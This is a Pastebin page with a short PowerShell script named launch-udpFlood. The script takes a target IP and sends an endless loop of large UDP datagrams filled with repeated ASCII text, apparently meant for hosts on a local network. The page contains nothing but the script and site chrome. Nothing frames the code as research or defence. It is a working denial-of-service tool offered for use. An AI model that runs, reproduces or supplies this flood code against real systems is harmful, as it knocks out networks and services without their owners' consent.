Advertisement
Guest User

Untitled

a guest
Jun 10th, 2016
84
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.47 KB | None | 0 0
  1.  
  2. <#
  3. launch-updFlood
  4. Sends a UDP datagram flood to a target ip on a lan
  5. #>
  6.  
  7.  
  8. ##### Start of Script
  9.  
  10. ## Get ip information in order to determine broadcast address
  11.  
  12.  
  13. function launch-udpFlood {
  14.  
  15. [CmdletBinding()] Param(
  16.  
  17. [Parameter(Position=0)]
  18. [String]$targetIP
  19.  
  20. )
  21.  
  22. ## Check IP variable
  23.  
  24. if ($targetIP) {
  25.  
  26. # launch udp flood on range of ports
  27. foreach ( $port in 80..1000 ) { udpEngine $targetIP $port }
  28.  
  29. } else { write-output "[!] target IP not specified, required!" }
  30.  
  31. }
  32.  
  33. function udpEngine {
  34.  
  35. [CmdletBinding()] Param(
  36.  
  37. [Parameter(Position=0, Mandatory = $true)]
  38. [String]$tIP,
  39.  
  40. [Parameter(Position=1, Mandatory = $true)]
  41. [String]$prt
  42.  
  43. )
  44.  
  45. $address = [system.net.IPAddress]::Parse( $tIP )
  46.  
  47. # Create IP Endpoint
  48. $end = New-Object System.Net.IPEndPoint $address , $prt
  49.  
  50. # Create Socket
  51. $Saddrf = [System.Net.Sockets.AddressFamily]::InterNetwork
  52. $Stype = [System.Net.Sockets.SocketType]::Dgram
  53. $Ptype = [System.Net.Sockets.ProtocolType]::UDP
  54. $Sock = New-Object System.Net.Sockets.Socket $saddrf , $stype , $ptype
  55. $Sock.TTL = 26
  56.  
  57.  
  58. while ($true) {
  59.  
  60.  
  61. # Connect to socket
  62. $sock.Connect( $end )
  63.  
  64. # Create encoded buffer insert loop here that get data from the generated file
  65. $Enc = [System.Text.Encoding]::ASCII
  66. $Message = "QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm1234567890" * 700
  67. $Buffer = $Enc.GetBytes( $Message )
  68.  
  69. # Send the buffer
  70. $Sent = $Sock.Send( $Buffer )
  71.  
  72.  
  73.  
  74. }
  75.  
  76.  
  77. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement